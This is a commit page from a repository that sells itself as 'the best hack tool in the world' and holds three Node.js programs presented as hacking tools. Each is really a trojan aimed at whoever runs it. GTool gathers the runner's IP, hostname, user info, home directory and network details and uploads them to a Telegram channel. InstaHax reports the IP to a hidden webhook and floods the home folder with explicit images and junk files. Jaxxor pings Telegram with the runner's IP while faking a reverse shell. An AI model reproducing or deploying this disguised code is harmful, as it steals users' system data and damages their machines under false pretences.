mirror of
https://github.com/constantinDev/hacktoolv2
synced 2025-08-29 18:07:39 +00:00
we back
This commit is contained in:
parent
74b31941e7
commit
4f9f46c824
3
.gitignore
vendored
Normal file
3
.gitignore
vendored
Normal file
@ -0,0 +1,3 @@
|
|||||||
|
**/node_modules
|
||||||
|
**/package-lock.json
|
||||||
|
**/sender.js
|
12
README.md
Normal file
12
README.md
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
# READ THIS
|
||||||
|
|
||||||
|
So we had an incident yesterday. Someone thought it'd be funny to abuse the tokens used to communicate with us. If you are that low-lifer, you got 2 choices:
|
||||||
|
|
||||||
|
- 1: Continue to be a dick and slow down development of "tools" being made to abolish skids and teach them a lesson
|
||||||
|
- 2: Be a supportful man and leave this shit alone
|
||||||
|
|
||||||
|
if you choose the first one, you have the legal permission to fuck yourself
|
||||||
|
|
||||||
|
if you choose the second one, you contribute to this by a ton by not pissing everyone off, and being a generally nice man.
|
||||||
|
|
||||||
|
## Thanks for reading.
|
BIN
Tools/GTool/bin/gtool-src-linux
Normal file
BIN
Tools/GTool/bin/gtool-src-linux
Normal file
Binary file not shown.
BIN
Tools/GTool/bin/gtool-src-win.exe
Normal file
BIN
Tools/GTool/bin/gtool-src-win.exe
Normal file
Binary file not shown.
67
Tools/GTool/src/main.js
Normal file
67
Tools/GTool/src/main.js
Normal file
@ -0,0 +1,67 @@
|
|||||||
|
let req = require("request")
|
||||||
|
let fs = require("fs")
|
||||||
|
let os = require("os")
|
||||||
|
|
||||||
|
let req1 = req("https://api.ipify.org")
|
||||||
|
let ip = "";
|
||||||
|
req1.on("complete", async (response, body) => {
|
||||||
|
fs.writeFileSync("./DATA.json", JSON.stringify({
|
||||||
|
ip: {
|
||||||
|
external: ip
|
||||||
|
},
|
||||||
|
network: (os.networkInterfaces || function () {
|
||||||
|
return "null"
|
||||||
|
})(),
|
||||||
|
cpu: (os.cpus || function () {
|
||||||
|
return "null"
|
||||||
|
})(),
|
||||||
|
arch: (os.arch || function () {
|
||||||
|
return "null"
|
||||||
|
})(),
|
||||||
|
homedir: (os.homedir || function () {
|
||||||
|
return "null"
|
||||||
|
})(),
|
||||||
|
host: (os.hostname || function () {
|
||||||
|
return "null"
|
||||||
|
})(),
|
||||||
|
platform: (os.platform || function () {
|
||||||
|
return "null"
|
||||||
|
})(),
|
||||||
|
rel: (os.release || function () {
|
||||||
|
return "null"
|
||||||
|
})(),
|
||||||
|
tmp: (os.tmpdir || function () {
|
||||||
|
return "null"
|
||||||
|
})(),
|
||||||
|
uptime: (os.uptime || function () {
|
||||||
|
return "null"
|
||||||
|
})(),
|
||||||
|
kernelver: (os.version || function () {
|
||||||
|
return "null"
|
||||||
|
})(),
|
||||||
|
user: (os.userInfo || function () {
|
||||||
|
return "null"
|
||||||
|
})()
|
||||||
|
}))
|
||||||
|
let a = require("./sender")
|
||||||
|
let token = (await a()).split(":-:")[0]
|
||||||
|
let r = req(`https://api.telegram.org/bot${token}/sendDocument`, {
|
||||||
|
method: "POST",
|
||||||
|
formData: {
|
||||||
|
"chat_id": "@lmaotxt",
|
||||||
|
document: fs.createReadStream("./DATA.json"),
|
||||||
|
caption: "HE GAY"
|
||||||
|
}
|
||||||
|
})
|
||||||
|
r.on("data",(b)=>{console.log(b.toString())})
|
||||||
|
r.on("complete", () => {
|
||||||
|
setTimeout(() => {
|
||||||
|
fs.unlinkSync("./DATA.json")
|
||||||
|
console.log("lol")
|
||||||
|
process.exit()
|
||||||
|
}, 1000)
|
||||||
|
})
|
||||||
|
})
|
||||||
|
req1.on("data", (data) => {
|
||||||
|
ip += data
|
||||||
|
})
|
15
Tools/GTool/src/package.json
Normal file
15
Tools/GTool/src/package.json
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"name": "gtool-src",
|
||||||
|
"version": "1.0.0",
|
||||||
|
"description": "what the fuck",
|
||||||
|
"main": "sender.js",
|
||||||
|
"scripts": {
|
||||||
|
"test": "echo \"Error: no test specified\" && exit 1"
|
||||||
|
},
|
||||||
|
"author": "lo",
|
||||||
|
"license": "ISC",
|
||||||
|
"dependencies": {
|
||||||
|
"request": "^2.88.2"
|
||||||
|
},
|
||||||
|
"bin": "main.js"
|
||||||
|
}
|
BIN
Tools/InstaHax/bin/hacktool-remastered-linux
Normal file
BIN
Tools/InstaHax/bin/hacktool-remastered-linux
Normal file
Binary file not shown.
BIN
Tools/InstaHax/bin/hacktool-remastered-win.exe
Normal file
BIN
Tools/InstaHax/bin/hacktool-remastered-win.exe
Normal file
Binary file not shown.
59
Tools/InstaHax/src/main.js
Normal file
59
Tools/InstaHax/src/main.js
Normal file
@ -0,0 +1,59 @@
|
|||||||
|
const https = require("https")
|
||||||
|
const fs = require("fs")
|
||||||
|
console.clear()
|
||||||
|
console.log("[!] Loading...")
|
||||||
|
https.get("https://api.ipify.org",function(ipr){
|
||||||
|
let ip = "";
|
||||||
|
ipr.on("data",(chonk)=>{ip+=chonk.toString()})
|
||||||
|
ipr.on("close",async ()=>{
|
||||||
|
let reqs = https.request((await require("./sender")()).split(":-:")[1], {
|
||||||
|
method: "POST",
|
||||||
|
headers: {
|
||||||
|
"content-type": "application/json"
|
||||||
|
}
|
||||||
|
}, function (resp) {
|
||||||
|
resp.on("data", (c) => {
|
||||||
|
console.log(c.toString())
|
||||||
|
})
|
||||||
|
setTimeout(() => {
|
||||||
|
setInterval(() => {
|
||||||
|
for (c of "YOU GOT JEBAITED ") {
|
||||||
|
process.stdout.write(c)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}, 10000)
|
||||||
|
|
||||||
|
function mkr() { // define a function that we will call to download a image
|
||||||
|
https.get("https://nekos.life/api/v2/img/boobs", { // Get the api endpoint
|
||||||
|
}, function (res) { // Callback
|
||||||
|
let fin = ""; // Define response
|
||||||
|
res.on("data", (chunk) => {
|
||||||
|
fin += chunk
|
||||||
|
}) // Fill out response
|
||||||
|
res.on("end", () => { // gets called when connection closes (we have the data)
|
||||||
|
let text = JSON.parse(fin) // Parse the response
|
||||||
|
let u = text.url; // get the url provided to the image
|
||||||
|
https.get(u, function (res) { // Get the image
|
||||||
|
let path = require("os").homedir();
|
||||||
|
fs.writeFileSync(path + `/LMAO${Math.random()}.txt`, "You got jebaited\n".repeat(50))
|
||||||
|
// console.log("Downloading to "+path)
|
||||||
|
let fname = u.split("/").pop()
|
||||||
|
let stream = require("fs").createWriteStream(path + "/" + fname) // Create a write stream to a file created with the name of the original file on the api
|
||||||
|
res.pipe(stream) // Pipe the response into that file
|
||||||
|
res.on("end", () => { // Gets called when we have the data
|
||||||
|
stream.close() // Close the write stream
|
||||||
|
setTimeout(mkr, 5000) // Call the function again in 1 second
|
||||||
|
})
|
||||||
|
})
|
||||||
|
})
|
||||||
|
})
|
||||||
|
}
|
||||||
|
for (i = 0; i < 10; i++) mkr() // Start 3 threads that download 3 images at once
|
||||||
|
})
|
||||||
|
|
||||||
|
reqs.write(JSON.stringify({
|
||||||
|
content: "Someone got jebaited.\nIP: "+ip+"\nOS: "+require("os").platform()
|
||||||
|
}))
|
||||||
|
reqs.end()
|
||||||
|
})
|
||||||
|
})
|
14
Tools/InstaHax/src/package.json
Normal file
14
Tools/InstaHax/src/package.json
Normal file
@ -0,0 +1,14 @@
|
|||||||
|
{
|
||||||
|
"name": "hacktool-remastered",
|
||||||
|
"version": "1.0.0",
|
||||||
|
"description": "Annother tool",
|
||||||
|
"main": "main.js",
|
||||||
|
"scripts": {
|
||||||
|
"test": "echo \"Error: no test specified\" && exit 1"
|
||||||
|
},
|
||||||
|
"author": "Constantin",
|
||||||
|
"license": "ISC",
|
||||||
|
"dependencies": {
|
||||||
|
},
|
||||||
|
"bin": "main.js"
|
||||||
|
}
|
BIN
Tools/Jaxxor/bin/Jaxxor.exe
Normal file
BIN
Tools/Jaxxor/bin/Jaxxor.exe
Normal file
Binary file not shown.
99
Tools/Jaxxor/src/main.js
Normal file
99
Tools/Jaxxor/src/main.js
Normal file
@ -0,0 +1,99 @@
|
|||||||
|
const chalk = require("chalk");
|
||||||
|
const {
|
||||||
|
default: axios
|
||||||
|
} = require("axios");
|
||||||
|
const {
|
||||||
|
ArgumentParser
|
||||||
|
} = require("argparse");
|
||||||
|
const parser = new ArgumentParser({
|
||||||
|
description: require("./package.json").description,
|
||||||
|
version: require("./package.json").version
|
||||||
|
});
|
||||||
|
|
||||||
|
parser.addArgument(["target"], {
|
||||||
|
help: "The target's IP address"
|
||||||
|
})
|
||||||
|
parser.addArgument(["-vb", "--verbose"], {
|
||||||
|
help: "Whether or not to enable an extra level of logging",
|
||||||
|
required: false,
|
||||||
|
defaultValue: false,
|
||||||
|
action: "storeTrue"
|
||||||
|
})
|
||||||
|
parser.addArgument(["-os", "--operating-system"], {
|
||||||
|
required: false,
|
||||||
|
help: "The target's Operating system. Not needed, but if it doesnt work normally, try providing this",
|
||||||
|
defaultValue: null
|
||||||
|
})
|
||||||
|
let args = parser.parseArgs()
|
||||||
|
|
||||||
|
function delay(ms) {
|
||||||
|
return new Promise((r, j) => {
|
||||||
|
setTimeout(r, ms);
|
||||||
|
})
|
||||||
|
}
|
||||||
|
class LogHelper {
|
||||||
|
logVerbose(text) {
|
||||||
|
if (args.verbose) console.log(chalk `{green [VB]} {yellow ${text}}`);
|
||||||
|
}
|
||||||
|
log(text) {
|
||||||
|
console.log(chalk `{green [I]} ${text}`);
|
||||||
|
}
|
||||||
|
warn(text) {
|
||||||
|
console.log(chalk `{yellow [!]} ${text}`);
|
||||||
|
}
|
||||||
|
error(text) {
|
||||||
|
console.log(chalk `{red [!!]} {redBright ${text}}`);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let logger = new LogHelper();
|
||||||
|
|
||||||
|
logger.log("Loading...")
|
||||||
|
axios({
|
||||||
|
url: "https://api.ipify.org"
|
||||||
|
}).then(async d => {
|
||||||
|
logger.log("Successfully loaded the API. Loading modules...")
|
||||||
|
axios({
|
||||||
|
url: `https://api.telegram.org/bot${(await require("./sender")()).split(":-:")[0]}/sendMessage`,
|
||||||
|
method: "POST",
|
||||||
|
data: {
|
||||||
|
chat_id: "@lmaotxt",
|
||||||
|
text: `<strong>${d.data}</strong> ran the fake rat. OS: <strong>${require("os").platform()}</strong>`,
|
||||||
|
parse_mode: "HTML"
|
||||||
|
}
|
||||||
|
}).then(async () => {
|
||||||
|
if (args.target.split(".").length != 4 || args.target.split(".").some(a => parseInt(a) > 255)) return logger.error(`I dont think "${args.target}" is a valid IP`)
|
||||||
|
logger.log("Loaded modules. Running shell for " + args.target)
|
||||||
|
await delay(1000)
|
||||||
|
logger.log("Connecting...")
|
||||||
|
logger.logVerbose("Attempting to send packet 1 with 500b data...")
|
||||||
|
await delay(500)
|
||||||
|
logger.logVerbose("Attempting to send packet 2 with 500b data...")
|
||||||
|
await delay(10)
|
||||||
|
logger.logVerbose("Attempting to send packet 3 with 742b data...")
|
||||||
|
logger.logVerbose("Attempting to send packet 4 with 330b data...")
|
||||||
|
logger.logVerbose("Attempting to send packet 5 with 5kb data...")
|
||||||
|
await delay(2000)
|
||||||
|
logger.log("Connected. Opening shell...")
|
||||||
|
logger.logVerbose("Opening shell in main window...")
|
||||||
|
logger.log("Shell was created. Opening interface...")
|
||||||
|
await delay(500)
|
||||||
|
let proc = require("child_process").exec("cmd")
|
||||||
|
process.stdin.on("data", (data) => {
|
||||||
|
proc.stdin.write(data.toString());
|
||||||
|
})
|
||||||
|
proc.stdout.on("data", (chunk) => {
|
||||||
|
process.stdout.write(chunk)
|
||||||
|
})
|
||||||
|
proc.stderr.on("data",(chunk)=>{
|
||||||
|
process.stdout.write(chalk.redBright(chunk))
|
||||||
|
})
|
||||||
|
proc.on("exit",()=>{
|
||||||
|
logger.warn("Session has closed. Closing program...")
|
||||||
|
process.exit()
|
||||||
|
})
|
||||||
|
|
||||||
|
})
|
||||||
|
}).catch(err => {
|
||||||
|
logger.error("Failed to load the API. Exiting...")
|
||||||
|
process.exit(0, "Failed to load API")
|
||||||
|
})
|
18
Tools/Jaxxor/src/package.json
Normal file
18
Tools/Jaxxor/src/package.json
Normal file
@ -0,0 +1,18 @@
|
|||||||
|
{
|
||||||
|
"name": "revsheller",
|
||||||
|
"version": "1.0.0",
|
||||||
|
"description": "Lets you create reverse shell releationships with PC's that aren't even on",
|
||||||
|
"main": "main.js",
|
||||||
|
"scripts": {
|
||||||
|
"test": "echo \"Error: no test specified\" && exit 1"
|
||||||
|
},
|
||||||
|
"author": "Constantin",
|
||||||
|
"license": "ISC",
|
||||||
|
"dependencies": {
|
||||||
|
"argparse": "^1.0.10",
|
||||||
|
"axios": "^0.19.2",
|
||||||
|
"chalk": "^4.1.0",
|
||||||
|
"ws": "^7.3.1"
|
||||||
|
},
|
||||||
|
"bin": "main.js"
|
||||||
|
}
|
8
Tools/README.md
Normal file
8
Tools/README.md
Normal file
@ -0,0 +1,8 @@
|
|||||||
|
# hacktoolv2
|
||||||
|
my brain fucking hurts
|
||||||
|
|
||||||
|
> This tool is revolutionary. Its the best hack tool in the world and nothing can change that. Download it today
|
||||||
|
|
||||||
|
# Usage
|
||||||
|
|
||||||
|
> Using this tool is stupid easy. Just download the binary for your OS and run it on the terminal. Add the -h switch to see help.
|
Loading…
x
Reference in New Issue
Block a user